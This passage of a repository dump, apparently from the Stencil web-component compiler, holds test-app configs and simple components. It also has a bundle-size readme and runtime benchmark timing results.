{\n        prototype: HTMLMyListElement;\n        new (): HTMLMyListElement;\n    };\n    interface HTMLElementTagNameMap {\n        \"my-app\": HTMLMyAppElement;\n        \"my-item\": HTMLMyItemElement;\n        \"my-list\": HTMLMyListElement;\n    }\n}\ndeclare namespace LocalJSX {\n    interface MyApp {\n        \"offset\"?: number;\n    }\n    interface MyItem {\n        \"index\"?: number;\n    }\n    interface MyList {\n        \"offset\"?: number;\n    }\n    interface IntrinsicElements {\n        \"my-app\": MyApp;\n        \"my-item\": MyItem;\n        \"my-list\": MyList;\n    }\n}\nexport { LocalJSX as JSX };\ndeclare module \"@stencil/core\" {\n    export namespace JSX {\n        interface IntrinsicElements {\n            \"my-app\": LocalJSX.MyApp & JSXBase.HTMLAttributes<HTMLMyAppElement>;\n            \"my-item\": LocalJSX.MyItem & JSXBase.HTMLAttributes<HTMLMyItemElement>;\n            \"my-list\": LocalJSX.MyList & JSXBase.HTMLAttributes<HTMLMyListElement>;\n        }\n    }\n}\n"
  },
  {
    "path": "test/performance/src/index.html",
    "content": "<!DOCTYPE html>\n<meta charset=\"UTF-8\">\n\n<head>\n  <script type=\"module\" src=\"/build/app.esm.js\"></script>\n  <script>\n    const script = document.querySelector('script[type=module]');\n    script['data-opts'] = {\n      syncQueue: true\n    };\n  </script>\n  <script nomodule src=\"/build/app.js\"></script>\n</head>\n\n<body>\n  <button onclick=\"addApp()\">Load app</button>\n  <button onclick=\"removeApp()\">Remove app</button>\n  <button onclick=\"startUpdating()\">Start updating</button>\n\n  <script>\n  function addApp() {\n    const app = document.createElement('my-app');\n    document.body.appendChild(app);\n  }\n  function removeApp() {\n    const app = document.querySelector('my-app');\n    if (app) {\n      app.remove();\n    }\n  }\n  function startUpdating() {\n    let i = 0;\n    setInterval(() => {\n      const app = document.querySelector('my-app');\n      app.offset = i++;\n    }, 100);\n  }\n  </script>\n</body>\n"
  },
  {
    "path": "test/performance/stencil.config.ts",
    "content": "import { Config } from '../../internal';\n\nexport const config: Config = {\n  namespace: 'app',\n  minifyJs: false,\n  taskQueue: 'async',\n  outputTargets: [\n    {\n      type: 'www',\n      serviceWorker: null,\n    },\n  ],\n};\n"
  },
  {
    "path": "test/performance/tsconfig.json",
    "content": "{\n  \"compilerOptions\": {\n    \"alwaysStrict\": true,\n    \"allowSyntheticDefaultImports\": true,\n    \"allowUnreachableCode\": false,\n    \"declaration\": true,\n    \"experimentalDecorators\": true,\n    \"forceConsistentCasingInFileNames\": true,\n    \"jsx\": \"react\",\n    \"jsxFactory\": \"h\",\n    \"lib\": [\n      \"dom\",\n      \"es2017\"\n    ],\n    \"module\": \"esnext\",\n    \"moduleResolution\": \"node\",\n    \"noImplicitAny\": true,\n    \"noImplicitReturns\": true,\n    \"noUnusedLocals\": true,\n    \"noUnusedParameters\": true,\n    \"target\": \"es2017\",\n    \"useUnknownInCatchVariables\": true,\n    \"baseUrl\": \".\",\n    \"paths\": {\n      \"@stencil/core\": [\"../../internal\"],\n      \"@stencil/core/internal\": [\"../../internal\"]\n    },\n  },\n  \"include\": [\n    \"src\"\n  ]\n}\n"
  },
  {
    "path": "test/prerender-shadow/.npmrc",
    "content": "package-lock=false"
  },
  {
    "path": "test/prerender-shadow/package.json",
    "content": "{\n  \"name\": \"@stencil/hello-shadow\",\n  \"private\": true,\n  \"scripts\": {\n    \"build\": \"node ../../bin/stencil build --prerender --debug\",\n    \"start\": \"node ../../bin/stencil build --dev --watch --serve\",\n    \"start.prod\": \"node ../../bin/stencil build --watch --serve\",\n    \"prerender\": \"node prerender.js\"\n  }\n}\n"
  },
  {
    "path": "test/prerender-shadow/prerender.js",
    "content": "const fs = require('fs');\nconst path = require('path');\nconst hydrate = require('./dist/hydrate');\n\nasync function run() {\n  const srcIndex = path.join(__dirname, 'src', 'index.html');\n  const html = fs.readFileSync(srcIndex, 'utf8');\n\n  const results = await hydrate.renderToString(html, {\n    prettyHtml: true,\n  });\n\n  const dstIndex = path.join(__dirname, 'www', 'prerendered.html');\n  fs.writeFileSync(dstIndex, results.html);\n}\nrun();\n"
  },
  {
    "path": "test/prerender-shadow/src/components/cmp-a.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'cmp-a',\n})\nexport class CmpA {\n  render() {\n    return <cmp-b>CmpALightDom</cmp-b>;\n  }\n}\n"
  },
  {
    "path": "test/prerender-shadow/src/components/cmp-b.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'cmp-b',\n  shadow: true,\n})\nexport class CmpB {\n  render() {\n    return <slot></slot>;\n  }\n}\n"
  },
  {
    "path": "test/prerender-shadow/src/components/cmp-c.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'cmp-c',\n  shadow: true,\n  styles: `\n    :host {\n      display: block;\n      border: 5px solid blue;\n    }\n    article {\n      border: 5px solid purple;\n      padding: 5px;\n      background: #eee;\n      color: maroon;\n    }\n  `,\n})\nexport class CmpC {\n  componentWillLoad() {\n    return new Promise((resolve) => {\n      setTimeout(() => {\n        console.log('cmp-c componentWillLoad resolved');\n        resolve();\n      }, 1500);\n    });\n  }\n\n  render() {\n    return (\n      <article>\n        cmp-c, article, shadow-dom text top\n        <slot></slot>\n        cmp-c, article, shadow-dom text bottom\n      </article>\n    );\n  }\n}\n"
  },
  {
    "path": "test/prerender-shadow/src/components/cmp-d.css",
    "content": "\n:host {\n  display: block;\n  border: 10px solid green;\n}\n\nsection {\n  border: 5px solid yellow;\n  padding: 10px;\n  background: #ccc;\n  color: blue;\n}\n"
  },
  {
    "path": "test/prerender-shadow/src/components/cmp-d.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'cmp-d',\n  shadow: true,\n  styleUrl: 'cmp-d.css',\n})\nexport class CmpD {\n  componentWillLoad() {\n    return new Promise((resolve) => {\n      setTimeout(() => {\n        console.log('cmp-d componentWillLoad resolved');\n        resolve();\n      }, 1500);\n    });\n  }\n\n  render() {\n    return (\n      <section>\n        <div>\n          <slot></slot>\n        </div>\n      </section>\n    );\n  }\n}\n"
  },
  {
    "path": "test/prerender-shadow/src/components.d.ts",
    "content": "/* eslint-disable */\n/* tslint:disable */\n/**\n * This is an autogenerated file created by the Stencil compiler.\n * It contains typing information for all components that exist in this project.\n */\nimport { HTMLStencilElement, JSXBase } from \"@stencil/core/internal\";\nexport namespace Components {\n    interface CmpA {\n    }\n    interface CmpB {\n    }\n    interface CmpC {\n    }\n    interface CmpD {\n    }\n}\ndeclare global {\n    interface HTMLCmpAElement extends Components.CmpA, HTMLStencilElement {\n    }\n    var HTMLCmpAElement: {\n        prototype: HTMLCmpAElement;\n        new (): HTMLCmpAElement;\n    };\n    interface HTMLCmpBElement extends Components.CmpB, HTMLStencilElement {\n    }\n    var HTMLCmpBElement: {\n        prototype: HTMLCmpBElement;\n        new (): HTMLCmpBElement;\n    };\n    interface HTMLCmpCElement extends Components.CmpC, HTMLStencilElement {\n    }\n    var HTMLCmpCElement: {\n        prototype: HTMLCmpCElement;\n        new (): HTMLCmpCElement;\n    };\n    interface HTMLCmpDElement extends Components.CmpD, HTMLStencilElement {\n    }\n    var HTMLCmpDElement: {\n        prototype: HTMLCmpDElement;\n        new (): HTMLCmpDElement;\n    };\n    interface HTMLElementTagNameMap {\n        \"cmp-a\": HTMLCmpAElement;\n        \"cmp-b\": HTMLCmpBElement;\n        \"cmp-c\": HTMLCmpCElement;\n        \"cmp-d\": HTMLCmpDElement;\n    }\n}\ndeclare namespace LocalJSX {\n    interface CmpA {\n    }\n    interface CmpB {\n    }\n    interface CmpC {\n    }\n    interface CmpD {\n    }\n    interface IntrinsicElements {\n        \"cmp-a\": CmpA;\n        \"cmp-b\": CmpB;\n        \"cmp-c\": CmpC;\n        \"cmp-d\": CmpD;\n    }\n}\nexport { LocalJSX as JSX };\ndeclare module \"@stencil/core\" {\n    export namespace JSX {\n        interface IntrinsicElements {\n            \"cmp-a\": LocalJSX.CmpA & JSXBase.HTMLAttributes<HTMLCmpAElement>;\n            \"cmp-b\": LocalJSX.CmpB & JSXBase.HTMLAttributes<HTMLCmpBElement>;\n            \"cmp-c\": LocalJSX.CmpC & JSXBase.HTMLAttributes<HTMLCmpCElement>;\n            \"cmp-d\": LocalJSX.CmpD & JSXBase.HTMLAttributes<HTMLCmpDElement>;\n        }\n    }\n}\n"
  },
  {
    "path": "test/prerender-shadow/src/index.html",
    "content": "<!DOCTYPE html>\n<meta charset=\"UTF-8\">\n<script id=\"appScript\" type=\"module\"></script>\n\n<cmp-a></cmp-a>\n\n<cmp-d>\n  <cmp-c>\n    cmp-c light-dom text top\n    <p>cmp-c light-dom paragraph</p>\n    cmp-c light-dom text bottom\n  </cmp-c>\n</cmp-d>\n\n<script>\n  console.log('page load');\n  setTimeout(() => {\n    document.getElementById('appScript').src = '/build/app.esm.js';\n    console.log('script added');\n  }, 1500);\n</script>"
  },
  {
    "path": "test/prerender-shadow/stencil.config.ts",
    "content": "import { Config } from '../../internal';\n\nexport const config: Config = {\n  hashFileNames: false,\n  minifyJs: false,\n  outputTargets: [\n    {\n      type: 'www',\n      baseUrl: 'http://testing.stenciljs.com',\n      serviceWorker: null,\n    },\n    {\n      type: 'dist-hydrate-script',\n      dir: 'dist/hydrate',\n    },\n  ],\n\n  enableCache: false,\n};\n"
  },
  {
    "path": "test/prerender-shadow/tsconfig.json",
    "content": "{\n  \"compilerOptions\": {\n    \"alwaysStrict\": true,\n    \"allowSyntheticDefaultImports\": true,\n    \"allowUnreachableCode\": false,\n    \"declaration\": true,\n    \"experimentalDecorators\": true,\n    \"forceConsistentCasingInFileNames\": true,\n    \"jsx\": \"react\",\n    \"jsxFactory\": \"h\",\n    \"lib\": [\n      \"dom\",\n      \"es2017\"\n    ],\n    \"module\": \"esnext\",\n    \"moduleResolution\": \"node\",\n    \"noImplicitAny\": true,\n    \"noImplicitReturns\": true,\n    \"noUnusedLocals\": true,\n    \"noUnusedParameters\": true,\n    \"target\": \"es2017\",\n    \"useUnknownInCatchVariables\": true,\n    \"baseUrl\": \".\",\n    \"paths\": {\n      \"@stencil/core\": [\n        \"../../internal\"\n      ],\n      \"@stencil/core/internal\": [\n        \"../../internal\"\n      ]\n    }\n  },\n  \"include\": [\n    \"src\"\n  ]\n}\n"
  },
  {
    "path": "test/readme.md",
    "content": "# Test Apps\n\n`npm run build`\n\n\n## Hello World App\n\n`hello-world/www/build`\n\n| File                                     | Brotli   | Gzipped  | Minified |\n|------------------------------------------|----------|----------|----------|\n| app-hash-hash.js                         | -        | 49B      | 29B      |\n| hello-world.entry.js                     | 154B     | 181B     | 195B     |\n| helloworld.esm.js                        | 201B     | 236B     | 307B     |\n| helloworld.js                            | 1.32KB   | 1.76KB   | 5.19KB   |\n| index-hash.js                            | 5.17KB   | 5.74KB   | 13.19KB  |\n| **TOTAL**                                | 6.83KB   | 7.95KB   | 18.90KB  |\n\n\n\n## Hello VDOM App\n\n`hello-vdom/www/build`\n\n| File                                     | Brotli   | Gzipped  | Minified |\n|------------------------------------------|----------|----------|----------|\n| app-hash-hash.js                         | -        | 49B      | 29B      |\n| index-hash.js                            | 3.33KB   | 3.72KB   | 8.18KB   |\n| **TOTAL**                                | 3.33KB   | 3.77KB   | 8.21KB   |\n\n\n\n## Todo App\n\n`todo-app/www/build`\n\n| File                                     | Brotli   | Gzipped  | Minified |\n|------------------------------------------|----------|----------|----------|\n| app-hash-hash.js                         | -        | 49B      | 29B      |\n| app-root_3.entry.js                      | 946B     | 1.08KB   | 2.09KB   |\n| app.esm.js                               | 242B     | 279B     | 384B     |\n| app.js                                   | 1.32KB   | 1.75KB   | 5.17KB   |\n| index-hash.js                            | 4.77KB   | 5.38KB   | 11.82KB  |\n| **TOTAL**                                | 7.26KB   | 8.53KB   | 19.48KB  |\n\n\n\n## End-to-end App\n\n`end-to-end/www/build`\n\n| File                                     | Brotli   | Gzipped  | Minified |\n|------------------------------------------|----------|----------|----------|\n| another-car-detail.entry.js              | 263B     | 306B     | 438B     |\n| another-car-list.entry.js                | 412B     | 502B     | 817B     |\n| app-root_2.entry.js                      | 173.09KB | 208.28KB | 732.02KB |\n| build-data.entry.js                      | 307B     | 358B     | 494B     |\n| car-detail.entry.js                      | 267B     | 315B     | 457B     |\n| car-list.entry.js                        | 433B     | 526B     | 871B     |\n| cmp-a.entry.js                           | 299B     | 338B     | 424B     |\n| cmp-b.entry.js                           | 299B     | 337B     | 424B     |\n| cmp-c.entry.js                           | 230B     | 265B     | 302B     |\n| cmp-dsd-focus.entry.js                   | 294B     | 347B     | 439B     |\n| cmp-dsd.entry.js                         | 283B     | 358B     | 499B     |\n| cmp-server-vs-client.entry.js            | 247B     | 287B     | 351B     |\n| cmp-with-slot.entry.js                   | 277B     | 320B     | 412B     |\n| dsd-listen-cmp.entry.js                  | 312B     | 365B     | 469B     |\n| element-cmp.entry.js                     | 257B     | 303B     | 423B     |\n| empty-cmp-shadow.entry.js                | 192B     | 241B     | 268B     |\n| empty-cmp.entry.js                       | 189B     | 229B     | 254B     |\n| endtoend.esm.js                          | 1.16KB   | 1.33KB   | 3.71KB   |\n| env-data.entry.js                        | 264B     | 310B     | 379B     |\n| event-cmp.entry.js                       | 231B     | 274B     | 518B     |\n| hydrated-sibling-accessors.entry.js      | 338B     | 401B     | 575B     |\n| import-assets.entry.js                   | 1.28KB   | 1.38KB   | 2.12KB   |\n| index-hash.js                            | 13.10KB  | 14.63KB  | 41.69KB  |\n| index.esm.js                             | -        | 58B      | 38B      |\n| listen-cmp.entry.js                      | 147B     | 180B     | 207B     |\n| method-cmp.entry.js                      | 180B     | 203B     | 254B     |\n| my-cmp.entry.js                          | 307B     | 350B     | 472B     |\n| my-jsx-cmp.entry.js                      | 205B     | 245B     | 284B     |\n| nested-cmp-child.entry.js                | 264B     | 308B     | 374B     |\n| nested-cmp-parent.entry.js               | 303B     | 353B     | 448B     |\n| nested-scope-cmp.entry.js                | 266B     | 311B     | 389B     |\n| non-shadow-child.entry.js                | 450B     | 512B     | 776B     |\n| non-shadow-forwarded-slot.entry.js       | 479B     | 567B     | 941B     |\n| non-shadow-multi-slots.entry.js          | 396B     | 474B     | 719B     |\n| non-shadow-wrapper.entry.js              | 436B     | 509B     | 799B     |\n| p-hash.js                                | 1.16KB   | 1.33KB   | 3.71KB   |\n| path-alias-cmp.entry.js                  | 198B     | 233B     | 254B     |\n| prerender-cmp.entry.js                   | 805B     | 997B     | 1.61KB   |\n| resolve-var-events.entry.js              | 356B     | 405B     | 729B     |\n| runtime-decorators.entry.js              | 890B     | 1012B    | 2.13KB   |\n| scoped-car-detail.entry.js               | 258B     | 301B     | 434B     |\n| scoped-car-list.entry.js                 | 423B     | 519B     | 893B     |\n| shadow-child.entry.js                    | 442B     | 533B     | 801B     |\n| shadow-wrapper.entry.js                  | 434B     | 498B     | 762B     |\n| slot-cmp-container.entry.js              | 459B     | 529B     | 828B     |\n| slot-cmp.entry.js                        | 245B     | 287B     | 335B     |\n| slot-parent-cmp.entry.js                 | 288B     | 304B     | 377B     |\n| state-cmp.entry.js                       | 414B     | 487B     | 721B     |\n| **TOTAL**                                | 203.48KB | 243.10KB | 807.15KB |\n\n\n\n## Ionic App\n\n`ionic-app/www/build`\n\n| File                                     | Brotli   | Gzipped  | Minified |\n|------------------------------------------|----------|----------|----------|\n| animation-hash-MS.js                     | 3.82KB   | 4.34KB   | 15.14KB  |\n| app-home.entry.js                        | 656B     | 781B     | 1.38KB   |\n| app-profile.entry.js                     | 713B     | 821B     | 1.52KB   |\n| app-root_20.entry.js                     | 33.80KB  | 41.12KB  | 181.89KB |\n| app.esm.js                               | 4.59KB   | 5.24KB   | 21.76KB  |\n| app.js                                   | 1.32KB   | 1.75KB   | 5.17KB   |\n| cubic-hash-hash.js                       | 812B     | 926B     | 2.09KB   |\n| dir-hash-yF.js                           | 220B     | 268B     | 407B     |\n| focus-hash-hash.js                       | 482B     | 560B     | 1.35KB   |\n| framework-hash-hash.js                   | 930B     | 1.09KB   | 2.82KB   |\n| gesture-hash-hash.js                     | 902B     | 1.01KB   | 3.40KB   |\n| haptic-hash.js                           | 464B     | 525B     | 1.66KB   |\n| hardware-hash-hash-hash.js               | 663B     | 855B     | 1.77KB   |\n| helpers-hash.js                          | 1.87KB   | 2.19KB   | 5.61KB   |\n| index-hash.js                            | 1.05KB   | 1.25KB   | 3.06KB   |\n| index-hash.js                            | 1.57KB   | 1.82KB   | 4.78KB   |\n| index-hash.js                            | 2.39KB   | 2.73KB   | 7.16KB   |\n| index-hash.js                            | 16.75KB  | 19.21KB  | 72.44KB  |\n| index-hash.js                            | 1.01KB   | 1.15KB   | 5.35KB   |\n| input-hash-hash-F.js                     | 2.95KB   | 3.45KB   | 9.49KB   |\n| ion-accordion-group.entry.js             | 1.54KB   | 1.76KB   | 6.34KB   |\n| ion-accordion.entry.js                   | 2.52KB   | 2.93KB   | 10.77KB  |\n| ion-action-sheet_3.entry.js              | 9.13KB   | 10.61KB  | 62.82KB  |\n| ion-avatar.entry.js                      | 274B     | 324B     | 728B     |\n| ion-back-button_2.entry.js               | 4.09KB   | 4.72KB   | 25.12KB  |\n| ion-badge.entry.js                       | 540B     | 678B     | 2.47KB   |\n| ion-breadcrumb.entry.js                  | 2.04KB   | 2.39KB   | 11.29KB  |\n| ion-breadcrumbs.entry.js                 | 1.38KB   | 1.60KB   | 5.28KB   |\n| ion-button_2.entry.js                    | 3.71KB   | 4.38KB   | 26.61KB  |\n| ion-card-content.entry.js                | 479B     | 587B     | 2.25KB   |\n| ion-card-header.entry.js                 | 650B     | 792B     | 2.02KB   |\n| ion-card-subtitle.entry.js               | 412B     | 496B     | 1.09KB   |\n| ion-card-title.entry.js                  | 392B     | 467B     | 1.07KB   |\n| ion-card.entry.js                        | 1.27KB   | 1.52KB   | 5.20KB   |\n| ion-checkbox_3.entry.js                  | 3.63KB   | 4.22KB   | 20.10KB  |\n| ion-chip.entry.js                        | 1015B    | 1.22KB   | 7.89KB   |\n| ion-col.entry.js                         | 1.41KB   | 1.66KB   | 7.30KB   |\n| ion-datetime.entry.js                    | 14.55KB  | 16.99KB  | 73.75KB  |\n| ion-fab-button.entry.js                  | 2.49KB   | 2.92KB   | 15.26KB  |\n| ion-fab-list.entry.js                    | 838B     | 978B     | 3.14KB   |\n| ion-fab.entry.js                         | 884B     | 1.01KB   | 2.81KB   |\n| ion-footer.entry.js                      | 1.41KB   | 1.67KB   | 3.93KB   |\n| ion-grid.entry.js                        | 641B     | 799B     | 4.97KB   |\n| ion-img.entry.js                         | 839B     | 1014B    | 2.39KB   |\n| ion-infinite-scroll-content.entry.js     | 702B     | 821B     | 3.46KB   |\n| ion-infinite-scroll.entry.js             | 1.79KB   | 2.16KB   | 6.23KB   |\n| ion-input.entry.js                       | 3.66KB   | 4.35KB   | 17.33KB  |\n| ion-item-divider.entry.js                | 1.49KB   | 1.75KB   | 9.99KB   |\n| ion-item-group.entry.js                  | 236B     | 280B     | 472B     |\n| ion-item-option.entry.js                 | 1.31KB   | 1.60KB   | 8.23KB   |\n| ion-item-options.entry.js                | 876B     | 1.02KB   | 5.06KB   |\n| ion-item-sliding.entry.js                | 2.71KB   | 3.15KB   | 10.34KB  |\n| ion-loading.entry.js                     | 2.25KB   | 2.64KB   | 10.20KB  |\n| ion-menu-button.entry.js                 | 1.52KB   | 1.82KB   | 7.60KB   |\n| ion-modal.entry.js                       | 7.59KB   | 8.82KB   | 35.64KB  |\n| ion-nav-link.entry.js                    | 420B     | 500B     | 1.06KB   |\n| ion-picker-column-internal_2.entry.js    | 5.57KB   | 6.54KB   | 25.99KB  |\n| ion-picker-column.entry.js               | 3.02KB   | 3.48KB   | 11.40KB  |\n| ion-picker.entry.js                      | 2.91KB   | 3.42KB   | 14.90KB  |\n| ion-popover.entry.js                     | 8.50KB   | 9.82KB   | 38.10KB  |\n| ion-progress-bar.entry.js                | 1.73KB   | 2.05KB   | 10.16KB  |\n| ion-range.entry.js                       | 4.43KB   | 5.04KB   | 21.17KB  |\n| ion-refresher-content.entry.js           | 583B     | 658B     | 1.94KB   |\n| ion-refresher.entry.js                   | 6.76KB   | 7.75KB   | 32.90KB  |\n| ion-reorder-group.entry.js               | 2.13KB   | 2.43KB   | 6.66KB   |\n| ion-reorder.entry.js                     | 438B     | 551B     | 1.07KB   |\n| ion-route-redirect.entry.js              | 222B     | 251B     | 500B     |\n| ion-router-link.entry.js                 | 511B     | 615B     | 1.21KB   |\n| ion-router-outlet.entry.js               | 1.71KB   | 1.97KB   | 5.59KB   |\n| ion-row.entry.js                         | 195B     | 212B     | 280B     |\n| ion-searchbar.entry.js                   | 4.53KB   | 5.31KB   | 26.48KB  |\n| ion-segment-button.entry.js              | 2.70KB   | 3.12KB   | 19.08KB  |\n| ion-segment.entry.js                     | 3.21KB   | 3.71KB   | 11.85KB  |\n| ion-select-option.entry.js               | 326B     | 377B     | 633B     |\n| ion-select.entry.js                      | 3.96KB   | 4.54KB   | 16.54KB  |\n| ion-skeleton-text.entry.js               | 645B     | 757B     | 1.61KB   |\n| ion-slide.entry.js                       | 295B     | 376B     | 695B     |\n| ion-slides.entry.js                      | 5.20KB   | 6.22KB   | 51.44KB  |\n| ion-spinner.entry.js                     | 1.21KB   | 1.34KB   | 4.15KB   |\n| ion-tab-bar.entry.js                     | 1.23KB   | 1.48KB   | 6.11KB   |\n| ion-tab-button.entry.js                  | 2.12KB   | 2.50KB   | 13.62KB  |\n| ion-tab.entry.js                         | 558B     | 644B     | 1.32KB   |\n| ion-tabs.entry.js                        | 1.13KB   | 1.33KB   | 3.89KB   |\n| ion-text.entry.js                        | 227B     | 263B     | 401B     |\n| ion-textarea.entry.js                    | 2.70KB   | 3.22KB   | 13.39KB  |\n| ion-thumbnail.entry.js                   | 263B     | 312B     | 499B     |\n| ion-toast.entry.js                       | 3.29KB   | 3.88KB   | 16.09KB  |\n| ion-virtual-scroll.entry.js              | 3.56KB   | 4.14KB   | 13.19KB  |\n| ios.transition-hash.js                   | 2.67KB   | 3.04KB   | 12.60KB  |\n| keyboard-hash.js                         | 623B     | 720B     | 1.89KB   |\n| md.transition-hash.js                    | 572B     | 675B     | 1.29KB   |\n| menu-hash-hash-hash.js                   | 1.61KB   | 1.88KB   | 5.38KB   |\n| overlays-hash-WFU.js                     | 3.24KB   | 3.80KB   | 11.58KB  |\n| p-hash.js                                | 4.59KB   | 5.24KB   | 21.76KB  |\n| spinner-hash-hash.js                     | 519B     | 573B     | 2.21KB   |\n| status-tap-hash.js                       | 432B     | 533B     | 993B     |\n| swipe-hash-hash.js                       | 582B     | 682B     | 1.18KB   |\n| swiper.bundle-hash.js                    | 26.34KB  | 30.43KB  | 128.17KB |\n| tap-hash-hash.js                         | 1011B    | 1.12KB   | 3.03KB   |\n| theme-hash.js                            | 455B     | 556B     | 933B     |\n| **TOTAL**                                | 275.59KB | 322.78KB | 1332.22KB |\n\n"
  },
  {
    "path": "test/runtime-benchmark/benchmark-results.json",
    "content": "{\n  \"latest\": {\n    \"timestamp\": \"2026-02-07T12:58:31.209Z\",\n    \"stencilVersion\": \"4.42.1\",\n    \"nodeVersion\": \"v22.14.0\",\n    \"platform\": \"darwin\",\n    \"arch\": \"x64\",\n    \"benchmarks\": {\n      \"create1k\": {\n        \"runs\": [\n          100.6,\n          93.2,\n          74.9,\n          80.7,\n          59.1\n        ],\n        \"min\": 59.1,\n        \"max\": 100.6,\n        \"avg\": 81.7,\n        \"median\": 80.7,\n        \"stddev\": 14.47\n      },\n      \"replace1k\": {\n        \"runs\": [\n          75.3,\n          76.3,\n          74.5,\n          73.2,\n          63\n        ],\n        \"min\": 63,\n        \"max\": 76.3,\n        \"avg\": 72.46,\n        \"median\": 74.5,\n        \"stddev\": 4.84\n      },\n      \"update\": {\n        \"runs\": [\n          89.9,\n          123.8,\n          110.4,\n          104.2,\n          104.6\n        ],\n        \"min\": 89.9,\n        \"max\": 123.8,\n        \"avg\": 106.58,\n        \"median\": 104.6,\n        \"stddev\": 10.94\n      },\n      \"swap\": {\n        \"runs\": [\n          74.4,\n          75.1,\n          76.1,\n          91,\n          90.6\n        ],\n        \"min\": 74.4,\n        \"max\": 91,\n        \"avg\": 81.44,\n        \"median\": 76.1,\n        \"stddev\": 7.66\n      },\n      \"select\": {\n        \"runs\": [\n          93.2,\n          93.3,\n          90.7,\n          93.4,\n          77.5\n        ],\n        \"min\": 77.5,\n        \"max\": 93.4,\n        \"avg\": 89.62,\n        \"median\": 93.2,\n        \"stddev\": 6.14\n      },\n      \"remove\": {\n        \"runs\": [\n          91.8,\n          91.1,\n          77.1,\n          92.9,\n          92.2\n        ],\n        \"min\": 77.1,\n        \"max\": 92.9,\n        \"avg\": 89.02,\n        \"median\": 91.8,\n        \"stddev\": 5.99\n      },\n      \"create10k\": {\n        \"runs\": [\n          675.8,\n          722.5,\n          726,\n          581.4,\n          557.3\n        ],\n        \"min\": 557.3,\n        \"max\": 726,\n        \"avg\": 652.6,\n        \"median\": 675.8,\n        \"stddev\": 70.66\n      },\n      \"append\": {\n        \"runs\": [\n          136.9,\n          170,\n          136.8,\n          153.6,\n          152.8\n        ],\n        \"min\": 136.8,\n        \"max\": 170,\n        \"avg\": 150.02,\n        \"median\": 152.8,\n        \"stddev\": 12.38\n      },\n      \"clear\": {\n        \"runs\": [\n          87.9,\n          94.8,\n          92.4,\n          95.2,\n          94.1\n        ],\n        \"min\": 87.9,\n        \"max\": 95.2,\n        \"avg\": 92.88,\n        \"median\": 94.1,\n        \"stddev\": 2.67\n      }\n    }\n  },\n  \"history\": [\n    {\n      \"timestamp\": \"2026-02-06T22:45:35.916Z\",\n      \"nodeVersion\": \"v22.14.0\",\n      \"platform\": \"darwin\",\n      \"arch\": \"x64\",\n      \"benchmarks\": {\n        \"create1k\": {\n          \"runs\": [\n            106.8,\n            71.7,\n            108.5,\n            81.2,\n            74.4\n          ],\n          \"min\": 71.7,\n          \"max\": 108.5,\n          \"avg\": 88.52,\n          \"median\": 81.2,\n          \"stddev\": 15.93\n        },\n        \"replace1k\": {\n          \"runs\": [\n            76.2,\n            74.1,\n            74.1,\n            75.2,\n            75.1\n          ],\n          \"min\": 74.1,\n          \"max\": 76.2,\n          \"avg\": 74.94,\n          \"median\": 75.1,\n          \"stddev\": 0.79\n        },\n        \"update\": {\n          \"runs\": [\n            111.3,\n            109.3,\n            110.1,\n            111.7,\n            108.2\n          ],\n          \"min\": 108.2,\n          \"max\": 111.7,\n          \"avg\": 110.12,\n          \"median\": 110.1,\n          \"stddev\": 1.28\n        },\n        \"swap\": {\n          \"runs\": [\n            111,\n            107.2,\n            108,\n            107,\n            107.9\n          ],\n          \"min\": 107,\n          \"max\": 111,\n          \"avg\": 108.22,\n          \"median\": 107.9,\n          \"stddev\": 1.44\n        },\n        \"select\": {\n          \"runs\": [\n            108.1,\n            108.6,\n            109.2,\n            107.4,\n            108\n          ],\n          \"min\": 107.4,\n          \"max\": 109.2,\n          \"avg\": 108.26,\n          \"median\": 108.1,\n          \"stddev\": 0.61\n        },\n        \"remove\": {\n          \"runs\": [\n            109.8,\n            109.2,\n            108.6,\n            108.2,\n            107.3\n          ],\n          \"min\": 107.3,\n          \"max\": 109.8,\n          \"avg\": 108.62,\n          \"median\": 108.6,\n          \"stddev\": 0.85\n        },\n        \"create10k\": {\n          \"runs\": [\n            808.5,\n            730.3,\n            595.4,\n            656.6,\n            586.7\n          ],\n          \"min\": 586.7,\n          \"max\": 808.5,\n          \"avg\": 675.5,\n          \"median\": 656.6,\n          \"stddev\": 84.08\n        },\n        \"append\": {\n          \"runs\": [\n            169.9,\n            168.6,\n            169.1,\n            208,\n            189.5\n          ],\n          \"min\": 168.6,\n          \"max\": 208,\n          \"avg\": 181.02,\n          \"median\": 169.9,\n          \"stddev\": 15.62\n        },\n        \"clear\": {\n          \"runs\": [\n            103.1,\n            110.7,\n            112.1,\n            111,\n            108.7\n          ],\n          \"min\": 103.1,\n          \"max\": 112.1,\n          \"avg\": 109.12,\n          \"median\": 110.7,\n          \"stddev\": 3.2\n        }\n      }\n    },\n    {\n      \"timestamp\": \"2026-02-06T22:46:57.512Z\",\n      \"nodeVersion\": \"v22.14.0\",\n      \"platform\": \"darwin\",\n      \"arch\": \"x64\",\n      \"benchmarks\": {\n        \"create1k\": {\n          \"runs\": [\n            109.4,\n            73,\n            76.4,\n            78.9,\n            75\n          ],\n          \"min\": 73,\n          \"max\": 109.4,\n          \"avg\": 82.54,\n          \"median\": 76.4,\n          \"stddev\": 13.57\n        },\n        \"replace1k\": {\n          \"runs\": [\n            75.6,\n            73.8,\n            75.4,\n            73.8,\n            74.5\n          ],\n          \"min\": 73.8,\n          \"max\": 75.6,\n          \"avg\": 74.62,\n          \"median\": 74.5,\n          \"stddev\": 0.77\n        },\n        \"update\": {\n          \"runs\": [\n            112,\n            106.4,\n            112.4,\n            106.8,\n            111.2\n          ],\n          \"min\": 106.4,\n          \"max\": 112.4,\n          \"avg\": 109.76,\n          \"median\": 111.2,\n          \"stddev\": 2.61\n        },\n        \"swap\": {\n          \"runs\": [\n            106.5,\n            110.3,\n            108,\n            111,\n            109.6\n          ],\n          \"min\": 106.5,\n          \"max\": 111,\n          \"avg\": 109.08,\n          \"median\": 109.6,\n          \"stddev\": 1.63\n        },\n        \"select\": {\n          \"runs\": [\n            105.9,\n            108.8,\n            108.7,\n            107.7,\n            109\n          ],\n          \"min\": 105.9,\n          \"max\": 109,\n          \"avg\": 108.02,\n          \"median\": 108.7,\n          \"stddev\": 1.15\n        },\n        \"remove\": {\n          \"runs\": [\n            107.6,\n            110,\n            106.4,\n            111.3,\n            106.3\n          ],\n          \"min\": 106.3,\n          \"max\": 111.3,\n          